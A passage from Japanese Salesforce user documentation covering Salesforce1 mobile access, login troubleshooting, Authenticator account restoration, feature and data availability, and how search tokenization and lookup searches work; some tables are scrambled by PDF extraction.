メモ: ログインできない場合は、自分がダウンロード可能アプリケーションを使用可能かどうか Salesforce

システム管理者に確認してください。
モバイルブラウザアプリケーションへのアクセス
Salesforce1 モバイルブラウザアプリケーションは、プラットフォームの最小要件を満たす Android、iOS、および
Windows デバイスのモバイルブラウザで実行されます。このモバイルブラウザアプリケーションは、組織の方
針で会社支給のデバイスにアプリケーションをインストールできない場合に役立つオプションです。
組織でモバイルブラウザアプリケーションが有効になっている場合は、サポートされているモバイルブラウザ
から Salesforceにログインすると、自動的に Salesforce1にリダイレクトされます。Salesforce1が自動的に開始しな
い場合は、モバイルブラウザアプリケーションへのリダイレクトを無効にしていないかどうか、およびサポー
トされているブラウザを使用しているかどうかを確認してください。
ほとんどのサポートされていないモバイルブラウザからは、Salesforce Classicにリダイレクトされます。iOS デバ
イスを使用している場合、iOS 用 Google Chrome から、または iOS 用 Gmail 内の Salesforce リンクをタップすること
によってモバイルブラウザにアクセスできますが、これらのいずれの環境での作業もSalesforceではサポートさ
れていません。

150

Salesforce1 モバイルアプリケーションの取得Salesforce の使用開始



Salesforce Classic Mobile

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

Salesforce Classic Mobile アプリケーションでは、Android™ および iPhone® デバイスか
らSalesforceデータへのモバイルアクセスを提供します。レコードの表示、作成、
編集、削除、活動の追跡、ダッシュボードの参照、簡易レポートの実行、電話
とメールの記録ができます。Salesforce システム管理者からモバイルライセンス
が割り当てられると、Salesforce Classic Mobile を使用できるようになります。

メモ: サポートされている機能は、モバイルオペレーティングシステムお
よびデバイスモデルによって異なる場合があります。

Salesforce Classic Mobileでは、モバイルデバイスのローカルデータベースにSalesforce

レコードを保存します。つまり、データ接続が利用できない場合でも Salesforce

Classic Mobileアプリケーションを使用できます。Salesforce Classic Mobileは、Salesforce

に新しいレコードや更新されたレコードを定期的にポーリングするため、手動
で同期する手間が省けます。
スマートフォンで Salesforce Classic Mobile アプリケーションを使用できるかどうか
を確認するには、サポートされているモバイルデバイスのリストを確認します。

Salesforce Authenticator モバイルアプリケーション
での接続済みアカウントの復元
Salesforce Authenticator モバイルアプリケーションで接続済みのアカウントをバッ
クアップした場合、別のモバイルデバイスで復元できます。
アカウントを復元する前に、次の点に注意してください。
• 接続済みのアカウントは、同時に 1 つのデバイスでのみ有効にできます。2

番目のデバイスで接続済みのアカウントを復元すると、前のデバイスからは
アクセスできなくなります。

• 新しいデバイスで接続済みのアカウントを復元するには、新しいデバイスで
新しい接続済みのアカウントを作成する前にアカウントを復元します。新しい接続済みのアカウントを作
成した後にバックアップから接続済みのアカウントを復元することはできません。

1. [それでは始めましょう] 画面で、[バックアップからの復元] をタップします。
2. プロンプトが表示されたら、携帯番号を入力して [送信] をタップします。
3. Salesforce Authenticator からリンク付きのテキストメッセージが送信されます。テキストメッセージ内のリン

クをタップします。
4. モバイルデバイスを承認して、Salesforce Authenticator モバイルアプリケーションを開きます。このプロセス

は Android デバイスと iOS デバイスで異なります。
プロセスオペレーティングシステ

ム

リンクを開くアプリケーションを選択するように要求するプロンプトが表示
されたら、リストから [Salesforce Authenticator] をタップします。

Android
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プロセスオペレーティングシステ
ム

Web ブラウザが開いたら、[Salesforce Authenticator を開く] をタップします。

Salesforce Authenticator を開くための許可を求められたら、[開く]をタップして承
認します。

iOS

Salesforce Authenticator アプリケーションが開き、携帯番号の確認プロセスを完了します。
5. Salesforce Authenticator アプリケーションで、4 桁のパスコードを入力します。

接続済みのアカウントが表示されたら、復元プロセスは完了です。

Salesforce1 モバイルアプリケーションのヘルプの検索
エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 にはモバイルアプリケーションについて確認する場合に使用する [ヘ
ルプ] リンクがあります。

[ヘルプ] リンクは、Salesforce1 ナビゲーションメニューの下部にあります。
をタップしてナビゲーションメニューを開きます。
また、他にもSalesforce1の使用を開始するときに役に立つ数多くのリソースが用
意されています。Salesforce1モバイルアプリケーションのヘルプリソース (ページ
46)を確認してください。

Salesforce1 モバイルアプリケーションにログインできないのはなぜ
ですか?

エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

Salesforce の正しいログイン情報を使用しているのに、Salesforce1 にログインでき
ない場合、ログインがうまくいかない理由としていくつかの一般的な原因が考
えられます。
• Salesforce1を使用する権限が実際にあることを確認します。Salesforceシステム

管理者は、Salesforce1 ダウンロード可能アプリケーションを使用できるユーザ
を制御でき、また、自身や会社全体のモバイルブラウザアプリケーションへ
のアクセスを無効にできます。自身にアクセス権があるかどうか不明な場合
は、システム管理者に確認してください。

• ダウンロード可能アプリケーションを使用している場合は、本番、Sandbox、カスタムドメインの正しいイ
ンスタンスにログインしていることを確認します。デフォルトで、Salesforce1は本番環境に接続します。組
織でシングルサインオンを使用している場合は、ログイン時に異なるページを指し示すアプリケーション
を設定します。テストの目的で Salesforce1 から Sandbox に接続する場合やコミュニティ URL を使用してログ
インする場合も同様です。
カスタムドメインの形式は https://universalcontainers.my.salesforce.com です。この
universalcontainersは、システム管理者が選択した名前です。システム管理者は使用するドメイン名
を指定できます。
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– iOS 用のダウンロード可能アプリケーションを別のインスタンスに接続するには、ここに記載の手順に
従います。

– Android 用のダウンロード可能アプリケーションを別のインスタンスに接続するには、ここに記載の手順
に従います。

• 1Password™や LastPass™などのパスワード管理アプリケーションを使用している場合は、ユーザ名とパスワー
ドが正しく保存されていることを確認します (Salesforceシステム管理者が初めに組織のパスワード管理を設
定する必要があります。パスワード管理アプリケーションを使用したログインは、Salesforce1 for iOS ダウン
ロード可能アプリケーションのバージョン 11.0 以降で使用できます)。

依然としてログインできない場合は、システム管理者にお問い合わせください。

Salesforce1 モバイルアプリケーション機能: 各バージョンで使用可能
な機能
Salesforce1は、iOS および Android デバイスではダウンロード可能アプリケーションとして使用でき、サポートさ
れるモバイルブラウザではモバイルブラウザアプリケーションとして使用できます。ほとんどの場合、Salesforce1

「系」のアプリケーションにはすべて同じ機能が組み込まれています。ただし、操作性にはいくつかの相違点
があります。その多くは、Salesforce1 がサポートされるモバイルプラットフォームの相違点に関連します。

モバイルブラウ
ザアプリケー

ション

iOS ダウンロード
可能アプリケー

ション

Android ダウン
ロード可能アプ
リケーション

機能

ナビゲーションおよびアクション

オブジェクトあたり最大 200 リストビューにアクセ
ス

(タブレットのみ)

リストビューグラフにビジネスデータのビジュアル
スナップショットを表示

リストビューの並び替えおよび絞り込み

電話をかける、活動を記録する、メールを送信する
などのアクションの実行
(通話は、iPhone および Android 端末のみでサポートさ
れています)

組織で作成されたクイックアクションの使用

標準住所項目での Google マップ画像の表示

検索

Salesforce レコードの検索

オブジェクトでレコードを検索するグローバル検索
の範囲指定
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モバイルブラウ
ザアプリケー

ション

iOS ダウンロード
可能アプリケー

ション

Android ダウン
ロード可能アプ
リケーション

機能

最近参照したレコードだけでなく、すべてのレコー
ドを検索して一致した結果を表示

検索結果の並び替え

連動ルックアップ検索条件での結果の関連性向上

検索キーワードに対する自動スペルチェックおよび
修正の実行

グローバル検索を使用した [すべての会社] フィード
内の Chatter 投稿の検索

Spotlight 検索を使用したSalesforce1を開かないSalesforce

データの検索

リレーションおよびデータ管理

新規レコードの追加および既存のレコードの更新

重複レコードの作成の回避

ニュースによる重要な企業や業界に関する最新情報
の入手

取引先の会社ロゴの表示

Salesforce 取引先、取引先責任者、リードの Twitter プ
ロフィールの特定、関連付け、および表示

取引先責任者-to-複数取引先による取引先と取引先責
任者間のリレーションの追跡

モバイルデバイスの取引先責任者リストから取引先
責任者を Salesforce に追加

リードスコアの表示

評価済みリードの取引先責任者への変換

セールスプロセスを進め商談を成立させる商談での
パスの使用

取引先チームと商談チームによる協働作業

商品、見積、複数の影響のあるキャンペーンの商談
への追加

キャンペーンメンバー状況の管理

売上予測データの参照
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モバイルブラウ
ザアプリケー

ション

iOS ダウンロード
可能アプリケー

ション

Android ダウン
ロード可能アプ
リケーション

機能

Salesforce 外に保存されたデータの操作

生産性 (Salesforce Today、メモ、行動、ToDo、メール)

Todayを使用して、1 日の行動を準備および管理、カ
ンファレンスコールに参加、Salesforce にモバイルカ
レンダーの行動を記録

Today の行動の取引先責任者を Salesforce に追加

リッチテキストのミーティングメモの作成およびレ
コードへの簡単な関連付け

メモへの画像の追加

メモからの ToDo の作成

Chatter 投稿からの ToDo の作成

定期的な ToDo とフォローアップ ToDo の作成

ToDo を追跡する、閉じる、または再度開く

ToDo をタップ操作ですばやく更新 (コメントの編集
や期日、状況、優先度の変更)

Salesforce の行動の作成および表示

SalesforceIQ Inbox を使用した Salesforce からのメールの
送信
Work.com

Work.com コーチング、目標、報奨、スキルの使用
(スキルは Android のみで使用可能)

カスタマーサービスツール

ケースおよびケースメールの操作

ソーシャルカスタマーサービスを使用してケースを
追跡し、Twitter にリアルタイムで返答

Salesforce ナレッジ記事の参照

納入商品を使用した購入済み商品の追跡

作業指示 (マイルストン、リンク済み記事、作業指
示階層を含む) によるフィールドサービスの合理化
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モバイルブラウ
ザアプリケー

ション

iOS ダウンロード
可能アプリケー

ション

Android ダウン
ロード可能アプ
リケーション

機能

フィールドサービス Lightning によるスケジュールさ
れたサービスの表示およびサービス提供先への移動

レポートとダッシュボード

ダッシュボード、ダッシュボードコンポーネント
(Visualforce ダッシュボードコンポーネントを含む)、
レポートの表示

Lightning Experience レポート、ダッシュボード、およ
びグラフの表示

レポートのデータの並び替え

ダッシュボード検索条件の適用

Chatter フィードでの拡張グラフのスナップショット
の共有
Salesforce Files

Salesforce Files の使用

Salesforce Files の使用 (Chatterが無効になっている場合)

外部データソース (SharePoint、OneDrive for Business、
Google ドライブ、Box など) のファイルの参照および
共有 (Files Connect が必要)

Microsoft Office 365 ファイルの編集

コンテンツライブラリへのアクセス

Chatter (フィード、トピック、プロファイル、グループ)

Chatter フィード、人、およびグループの使用

メインの Chatter フィードでの検索

Chatter 投稿のミュート

トピックごとに整理されたフィードエントリの表
示、編集、フォロー、および投稿への複数トピック
の追加

複数のレコード更新を 1 つの投稿にバンドル

投稿またはコメントへの写真やファイルの添付、ま
たはクイックアクションを使用した写真またはファ
イルの投稿
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モバイルブラウ
ザアプリケー

ション

iOS ダウンロード
可能アプリケー

ション

Android ダウン
ロード可能アプ
リケーション

機能

Chatter 投稿の共有

投稿およびコメントに投稿されたファイルのプレ
ビューの表示

ダブルタップによるChatter投稿のブックマークの追
加または削除

フィードでの質問と回答の取得

Chatter の質問をケースにエスカレーション

ユーザプロファイルの詳細の編集

ユーザのプロファイル写真の変更

グループ写真の追加

レコードをグループに追加

リストに記載しない Chatter グループでのプライバ
シーを確保したコラボレーション

お知らせをグループフィードに投稿

グループメンバーの追加を含むグループの管理

Chatter がオフの場合の Salesforce1 の使用

Chatter がオフの場合の Salesforce1 でのクイックアク
ションの使用

Chatter メール通知およびダイジェストリンクからの
Salesforce1 の起動
Salesforce Communities

Salesforce タブ + Visualforce テンプレートを使用して作
成されたコミュニティへのアクセス

ビジネスロジックおよびプロセスの自動化

レコードの承認申請

未承認の状況の表示および承認申請の承認または却
下

一時停止中のフローインタビューの再開または削除

通知

アプリケーション内通知の受信
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モバイルブラウ
ザアプリケー

ション

iOS ダウンロード
可能アプリケー

ション

Android ダウン
ロード可能アプ
リケーション

機能

転送通知の受信

送信される転送通知の設定

オフライン

オフラインでの作業時にキャッシュされたデータの
表示

オフライン時に最近アクセスしたオブジェクトのレ
コードの作成、編集、削除 (ベータ)

アクセスおよびセキュリティ

Salesforce1ログインページからパスワード管理アプリ
ケーションを直接使用することによるログインの迅
速化

ログインページからの複数のインスタンスへの接続
の設定

アプリケーション内での複数の Salesforceアカウント
またはコミュニティ間の切り替え

さまざまな Salesforce URL を直接 Salesforce1 で開く

セキュリティパスコードを使用したアプリケーショ
ンへのアクセスの制御

接続アプリケーションセキュリティ設定を使用した
業界のコンプライアンス規制への対応

モバイルデバイス管理 (MDM) を使用したセキュリティ
の強化

カスタマイズおよびユーザ/アプリケーション設定

Visualforce ページの表示

Lightning ページ、カスタムアプリケーションおよび
サードパーティアプリケーションへのアクセス

アクションバーおよびリスト項目のアクションのカ
スタマイズされた選択および配置の参照

カスタムブランドの参照

項目レベルのヘルプの参照
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Salesforce1 モバイルアプリケーションで使用可能なデータ
エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 は、組織の Salesforce エディション、ユーザライセンスの種類、および
割り当てられているユーザプロファイルと権限セットを使用して、ユーザが使
用可能なデータを判断します。Salesforce のフルサイトの操作時に表示されるオ
ブジェクト、レコードタイプ、項目、およびページレイアウトのほとんどが
Salesforce1 でも表示されます。ただし、一部の Salesforce データは Salesforce1 では
使用できません。
次のオブジェクトは、Salesforce1 ナビゲーションメニューの項目として使用でき
ます。別途記載がない限り、これらのオブジェクトのレコードを作成、表示、
編集できます。
• 取引先
• 納入商品
• キャンペーン
• ケース
• 取引先責任者
• コンテンツライブラリ (iOS ダウンロード可能アプリケーションのみ)

• 契約
• D&B 企業 (Data.com Prospector および Data.com Clean 顧客の場合は参照のみ)

• ダッシュボード (参照のみ)

• 行動
• ファイル
• Field Service Lightning (稼働時間、サービス予約、サービス人員、サービステリトリー、作業種別) (モバイルブ

ラウザアプリケーションのみ)

• 売上予測 (iOS ダウンロード可能アプリケーションのみ)

• ナレッジ記事 (参照のみ)

• リード
• Live Chat のトランスクリプト
• 商談
• 注文
• 見積 (商談からの作成のみ)

• レポート (参照のみ)

• ソーシャル人格およびソーシャル投稿
• ToDo

• Work.com コーチング、目標、感謝、報奨、およびスキル (iOS ダウンロード可能アプリケーションではスキ
ルを使用できません)

• 作業指示
• アクセスできるタブを含むカスタムオブジェクト
• アクセスできるタブを含み、検索可能な Salesforce Connect 外部オブジェクト
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一部の例外を除いて、これらのレコードですべての標準項目およびカスタム項目を使用できます。また、これ
らのオブジェクトの関連リストの大部分を操作できます。
Chatter が有効になっている場合、フィード、グループ、人 (ユーザプロファイル)、およびトピックにアクセス
できます (トピックは、モバイルブラウザアプリケーションでのみで使用できます。) Chatterが無効になってい
ても、ユーザプロファイルにはアクセスできます。
Salesforce1 ダウンロード可能アプリケーションを使用している場合は、Salesforce Today を使用して、ミーティン
グの準備、顧客との連絡、カンファレンスコールへのすばやい参加、1 日のスケジュールの総合的な管理を行
うことができます。

Salesforce1 ナビゲーションメニュー
Salesforce1 ナビゲーションメニューから上記のすべてのオブジェクトにアクセスできます。ナビゲーションメ
ニューでは、最も頻繁に操作するオブジェクトに簡単にアクセスできます。[最近] セクション下部にある [さ
らに表示] をタップすると、Salesforce1 で使用できるすべてのオブジェクトの完全なリストが表示されます。

ヒント: Salesforceを使用し始めたばかりで最近のオブジェクトの履歴がまだない場合、Salesforce1ナビゲー
ションメニューの [最近] セクションには最初に、取引先、ケース、取引先責任者、ファイル、グループ
(ナビゲーションメニューに直接追加されていない場合)、リード、商談、人 (ナビゲーションメニューに
直接追加されていない場合) などのオブジェクトが表示されます。
Salesforce1 および Salesforce フルサイトをしばらく使用していると、[最近] セクションのデフォルトのオブ
ジェクトが最も使用するオブジェクトに置き換えられ、それらのオブジェクトを Salesforce1のグローバル
検索で使用できるようになります。
ユーザが定期的に操作したオブジェクトが [最近] セクションに表示されるまで、最大 15 日かかる場合が
あります。[最近] セクションにすぐにオブジェクトが表示されるようにするには、フルサイトの検索結果
からそれらのオブジェクトを固定します。
Salesforce1 でグローバル検索を行う場合、[最近] セクションに表示されるオブジェクトのレコードのみを
検索できます。[最近] セクションを展開したときに完全なオブジェクトリストに表示される他のオブジェ
クトのレコードを検索するには、オブジェクトのホームページから検索します。
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検索機能を使用した情報の検索

エディション

使用可能なエディション:
Database.com を除くすべ
てのエディション

Salesforce の検索では、情報をすばやく見つけることができます。検索は、Salesforce

サイト、Salesforce1 モバイルアプリケーション、Salesforce プラットフォームで構
築されたカスタム検索実装で使用できます。

検索のしくみ
検索では、検索語を分解してインデックスから一致する情報を見つけること
で、探している情報を効率的に見つけます。
検索での情報の分割方法
レコードを作成するたびに、検索エンジンによって検索可能な情報が小さな要素に分解されます。これら
の要素がどのように分解されるのかがわかっていると、使用する検索語を決定する場合に役立ちます。
Lightning Experience、Salesforce Classic、および Salesforce1 の検索の相違点
Salesforceフルサイトのグローバル検索 (Lightning Experienceまたは Salesforce Classic) と Salesforce1モバイルアプリ
ケーションで使用される検索インデックスは同じであるため、常に同じデータが検索されます。インスタ
ント結果に表示される最近アクセスしたレコードのセットも同じです。検索範囲 (最もよく使用するオブ
ジェクトのリスト) は検索結果に影響を及ぼします。ただし、一部の標準オブジェクトは Salesforce1 および
Lightning Experienceで使用できないため、検索結果が異なる場合があります。また、グローバル検索インター
フェースはこれらのすべての環境で異なるため、表示やナビゲーションの違いを考慮する必要があります。
参照項目で検索する方法は?

ルックアップ検索を使用して、2 つのレコードを関連付けます。
検索結果
結果は、各ユーザに対して関連性によって並び替えられているため、多くの場合、上位の結果を確認する
だけで、探していたレコードをすばやく見つけることができます。特定のレコードが返される理由と、結
果を絞り込むための最適な方法について理解しましょう。
タグの参照、検索、および管理
Salesforce Classic での検索の制限
グローバル検索、サイドバー検索、高度な検索、構造化クエリ、リストビュー、検索条件を使用する場合、
特定の制限が適用されます。

関連トピック:

検索のしくみ
Lightning Experience、Salesforce Classic、および Salesforce1 の検索の相違点
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検索のしくみ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com を除くすべ
てのエディション

検索では、検索語を分解してインデックスから一致する情報を見つけることで、
探している情報を効率的に見つけます。
検索項目に検索語を入力すると (1)、検索エンジンによって検索語が小さな要素
(トークン) に分解されます (2)。これらの小さな用語が、インデックスに保存さ
れているレコード情報と照合され (3)、関連レコードが関連性でランク付けされ
て (4)、アクセス権のある結果が返されます (5)。

メモ: 検索可能なオブジェクトのレコードが作成または更新された後、更
新されたテキストを検索できるようになるまで最大 15 分かかることがあり
ます。オブジェクトのレコードは、検索インデックスに保存された後での
み検索できます。検索エンジンにより、表示権限のある結果のみが返され
ます。

検索によって実行できることの詳細は、次の動画をご覧ください。
Searching in Salesforce Classic (Salesforce Classic での検索)

Searching in Salesforce Lightning Experience (Salesforce Lightning Experience での検索)
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検索での情報の分割方法

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レコードを作成するたびに、検索エンジンによって検索可能な情報が小さな要
素に分解されます。これらの要素がどのように分解されるのかがわかっている
と、使用する検索語を決定する場合に役立ちます。
レコードを作成または更新すると (1)、検索エンジンによって、レコードの検索
可能なテキストがトークンと呼ばれる小さな用語に分解されます (2)。その後、
トークンは検索インデックスに保存されます (3)。
検索を行うときにも、検索エンジンによって検索語が分解されます。ただし、
検索するときに語句を分解する方法は、若干異なる場合があります。検索語の
トークンに完全一致が少ない場合やない場合は、スペル修正やクエリの緩和な
どのクエリ拡張方法を使用して、インデックス内の他の関連する一致が検索さ
れます。

次に、レコード情報から作成され、インデックス化されたトークンの例をいくつか示します。下記のトークン
を使用して検索でレコードを探すことができます。
英数字の語句は文字と数字の境界で分割されます。英数字以外の文字 (句読点など) を含む語句は、英数字以外
の文字で分割され、英字、数字、英数字のトークンが作成されます。

インデックス化されたトークンレコード情報

web2leadWeb2Lead

web

2

lead

acmeAcme, Inc.

inc

exhibit-xyz1234Exhibit-XYZ1234

exhibitxyz1234
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インデックス化されたトークンレコード情報

exhibit

xyz1234

xyz

1234

415(415) 999-3434

999 -3434

9993434

999

3434

john.smith@domain.comjohn.smith@domain.com

@domain.com

john.smith

john

smith

johnsmith

domain.com

domain

com

domaincom

ヒント: 検索クエリに句読点や特殊文字が含まれていて、適切な結果が得られない場合は、句読点の代わ
りに空白を使用したクエリを試してください。

中国語、日本語、韓国語、タイ語 (CJKT) での検索では、検索エンジンは特殊な形式のトークン化を使用して正
確な結果を返します。

インデックス化されたトークンレコード情報

東京 (Tokyo)

都 (Prefecture)

東京都 (Tokyo Prefecture)
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Lightning Experience、Salesforce Classic、および Salesforce1 の検
索の相違点

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce フルサイトのグローバル検索 (Lightning Experience または Salesforce Classic)

とSalesforce1モバイルアプリケーションで使用される検索インデックスは同じで
あるため、常に同じデータが検索されます。インスタント結果に表示される最
近アクセスしたレコードのセットも同じです。検索範囲 (最もよく使用するオブ
ジェクトのリスト) は検索結果に影響を及ぼします。ただし、一部の標準オブ
ジェクトは Salesforce1および Lightning Experienceで使用できないため、検索結果が
異なる場合があります。また、グローバル検索インターフェースはこれらのす
べての環境で異なるため、表示やナビゲーションの違いを考慮する必要があり
ます。

メモ: 検索結果の順序にわずかな差異が生じることがありますが、検索さ
れたデータのセットは同じです。

フルサイトの
Salesforce Classic

フルサイトの
Lightning Experience

Salesforce1 モバイル
ブラウザアプリケー
ション

Android および iOS
用の Salesforce1 ダウ
ンロード可能アプリ
ケーション

機能

ヘッダーにある検索
ボックス。

ヘッダーにある検索
ボックス。

ヘッダーにある検索
アイコン。

Salesforce1 ナビゲー
ションメニューの上
部にある検索ボック
ス。

検索へのアクセス

利用できません。入
力を開始するとイン

すべてのオブジェク
トを対象として、最

検索範囲バーで現在
選択されているオブ

すべてのオブジェク
トを対象として、最

検索ボックスを選択
したときのインスタ
ント結果 スタント結果が表示

されます。
近使用したレコード
のリストが表示され
ます。

ジェクトを対象とし
て、最近使用したレ
コードのリストが表
示されます。

近使用したレコード
のリストが表示され
ます。

入力した文字によ
り、最近使用したレ

入力した文字によ
り、最近使用したレ

入力した文字によ
り、最近使用したレ

入力した文字によ
り、最近使用したレ

入力したときのイン
スタント結果

コードのリストが絞
り込まれます。

コードのリストが絞
り込まれます。入力
すると、最近アクセ

コードのリストが絞
り込まれます。入力
すると、最近アクセ

コードのリストが絞
り込まれます。

スしていない複数のスしていない一致レ
オブジェクトの間でコードもリストに表

示されます。 一致するレコードも
リストに表示されま
す。

最近使用した各オブ
ジェクトの上位 5 個

最も頻繁に使用した
オブジェクトの上位

検索範囲バーで選択
されたオブジェクト

最近使用した各オブ
ジェクトの上位 3 個

全文検索の結果
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フルサイトの
Salesforce Classic

フルサイトの
Lightning Experience

Salesforce1 モバイル
ブラウザアプリケー
ション

Android および iOS
用の Salesforce1 ダウ
ンロード可能アプリ
ケーション

機能

のレコードが表示さ
れます。
結果はオブジェクト
でグループ化され、

の結果をリストする
[上位の結果] が表示
されます。他の結果
を表示するには、オ
ブジェクトを変更し
ます。
結果は関連性で並び
替えられます。

の結果が表示されま
す。他の結果を表示
するには、オブジェ
クトを変更します。
結果は関連性で並び
替えられます。

のレコードが表示さ
れます。
結果はオブジェクト
でグループ化され、
関連性で並び替えら
れます。

関連性で並び替えら
れます。

列ヘッダーで結果を
並び替えることがで
きます。
システム管理者が有
効にしている場合

列ヘッダーまたは
[並び替え] ボタンで
結果を並び替えるこ
とができます。

検索結果に表示され
るいずれかの項目で
結果を並び替えるこ
とができます。

利用できません。検索結果の絞り込み

は、条件検索も使用
できます。

検索結果ページか
ら、[フィードを検

検索結果ページか
ら、検索範囲リスト

検索結果ページか
ら、検索範囲バーの

グローバル検索では
フィードの情報は検

Chatter フィード検索

索] を使用して、会で [Chatter] を選択[フィード] を選択索されません。代わ
社のすべてのフィーし、[すべての会社]し、[すべての会社]りに Chatter フィード
ド更新を表示しま
す。

フィードの結果を表
示します。

フィードの結果を表
示します。

検索を使用します。
[Chatter] ページで、
ページの上部からブ
ルダウンして検索
ボックスを表示しま
す。

サイドバー検索およ
び高度な検索: 検索語

検索語の最初の 100

文字に対する結果が
返されます。

検索語の最初の 100

文字に対する結果が
返されます。

iOS: グローバル検索
では、検索語の最初
の 155 文字に対する

検索語の文字数

の最初の 80 文字に対
結果が返されます。 する結果が返されま

す。フィード検索では、
最初の 100 文字に対 グローバル検索: 検索

語の最初の 100 文字する結果が返されま
す。 に対する結果が返さ

れます。Android: 文字数に関
わらず検索語全体に
対する結果が返され
ます。
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参照項目で検索する方法は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ルックアップ検索を使用して、2 つのレコードを関連付けます。

Lightning
Experience で使用
可能?

Salesforce Classic
で使用可能?

定義用語

いいえはい名前項目などの各
オブジェクトの制
限された項目セッ
トを検索します。
結果には、一度に

標準ルックアップ

最大 50 件のレコー
ドが表示されま
す。結果の列の並
び替え、絞り込
み、またはカスタ
マイズを行うこと
はできません。

はい。ただし、絞
り込みは使用でき
ません。

システム管理者が
有効にしている場
合は、はい。

各オブジェクトの
より多くの項目を
検索します。検索
クエリは個別の検

高度なルックアッ
プ検索

索語に分解されま
す。これにより、
照合および結果が
改善されます。結
果にはルックアッ
プ固有の制限はな
く、結果を絞り込
むことができま
す。

はいはい検索語を入力しな
いでルックアップ

空白のルックアッ
プ

アイコンをクリッ
クしたときのルッ
クアップ検索。

はい。入力した文
字により、最近使

システム管理者が
有効にしている場

どのルックアップ
検索でも、参照項

ルックアップオー
トコンプリート (イ
ンスタント結果) 用したレコードの

リストが絞り込ま
合は、はい。入力
した文字により、

目の入力を開始す
るときに、一致す

れます。入力する最近使用したレるレコードが動的
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Lightning Experience で使
用可能?

Salesforce Classic で使用
可能?

定義用語

なリストで表示されま
す。

と、最近アクセスしてい
ない一致レコードもリス
トに表示されます。

コードのリストが絞り込
まれます。

はいシステム管理者が有効に
している場合は、はい。

システム管理者が設定す
る検索条件で、高度な
ルックアップダイアログ

関連ルックアップ検索条件

検索の参照項目の有効な
値と検索結果を制限しま
す。必須にすることも、
省略可能にすることもで
きます。
たとえば、同じレコード
の有効なユーザのみを表
示する [取引先所有者] 参
照項目を設定できます。

システム管理者が有効に
している場合は、はい。

システム管理者が有効に
している場合は、はい。

システム管理者が設定す
る検索条件で、高度な
ルックアップダイアログ

連動ルックアップ検索条件

検索の現在のオブジェク
トレコード (ソース) の項
目を参照します。必須に
することも、省略可能に
することもできます。
たとえば、同じレコード
のケースの [取引先名] 項
目で選択した取引先に関
連付けられている取引先
責任者のみが表示される
ように、ケースの[取引先
責任者]項目を設定できま
す。

はい。ただし、検索結果
レイアウトでルックアッ

はいシステム管理者は、[設定]

でルックアップダイアロ
ルックアップダイアログ
(検索レイアウト)

プ検索結果とグローバルグ検索レイアウト内で使
検索結果の両方が統合さ用できる項目を定義しま
れます。[私の表示項目] は
使用できません。

す。ユーザは、[私の表示
項目] を使用してリストの
項目を追加および削除で
きます。ユーザは、シス
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Lightning Experience で使
用可能?

Salesforce Classic で使用
可能?

定義用語

テム管理者が検索レイア
ウトで定義していない項
目を追加することはでき
ません。

いいえシステム管理者が有効に
している場合は、はい。

システム管理者は、[設定]

で高度なルックアップ検
索の絞り込みで使用でき
る項目を定義します。
ユーザは、ルックアップ
ダイアログの [条件を表示]

ルックアップ検索条件項目
(検索レイアウト)

を使用して検索条件にア
クセスします。ユーザ
は、システム管理者が検
索レイアウトで定義して
いない項目を追加するこ
とはできません。

Salesforce Classic でのルックアップ検索
参照項目を使用すると、2 つのレコードを関連付けることができます。たとえば、取引先責任者レコードに
は、取引先責任者とその取引先を関連付ける [取引先] 参照項目があります。
Lightning Experience でのルックアップ検索
参照項目を使用すると、2 つのレコードを関連付けることができます。たとえば、取引先責任者レコードに
は、取引先責任者とその取引先を関連付ける [取引先] 参照項目があります。検索可能なオブジェクトのルッ
クアップ検索では、レコード名だけでなく、レコード内のすべての検索可能な項目に対して用語が照合さ
れます。インスタント結果の自動推奨にレコードが表示されない場合は、全文検索を実行します。検索結
果に新しいレコードが表示されない場合は、15 分待ってからもう一度お試しください。ルックアップに関
するよくある質問 (FAQ) への回答も確認してください。

Salesforce Classic でのルックアップ検索
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

参照項目を使用すると、2 つのレコードを関連付けることができます。たとえ
ば、取引先責任者レコードには、取引先責任者とその取引先を関連付ける [取引
先] 参照項目があります。
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Salesforce Classic での標準および高度なルックアップ
Salesforceオブジェクトには、多くの場合、2 つのレコードを関連付ける参照項目が含まれます。たとえば、
取引先責任者レコードには、その取引先とその取引先責任者に関連付けられている [取引先]参照項目があ
ります。参照項目は、レコード編集ページに ボタンと一緒に表示されます。アイコンをクリックする
と、ルックアップ検索ダイアログが開き、編集中のレコードに関連付けるレコードを検索することができ
ます。ルックアップには、標準と拡張という主要な 2 種類があります。
標準ルックアップと高度なルックアップの使用のヒント
標準ルックアップと高度なルックアップを使用するときには、次のヒントを考慮してください。
ルックアップ検索のオートコンプリート
システム管理者により有効化されると、ルックアップでオートコンプリートがサポートされます。

Salesforce Classic での標準および高度なルックアップ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforceオブジェクトには、多くの場合、2 つのレコードを関連付ける参照項目
が含まれます。たとえば、取引先責任者レコードには、その取引先とその取引
先責任者に関連付けられている [取引先]参照項目があります。参照項目は、レ
コード編集ページに ボタンと一緒に表示されます。アイコンをクリックす
ると、ルックアップ検索ダイアログが開き、編集中のレコードに関連付けるレ
コードを検索することができます。ルックアップには、標準と拡張という主要
な 2 種類があります。

Salesforce Classic での標準ルックアップ
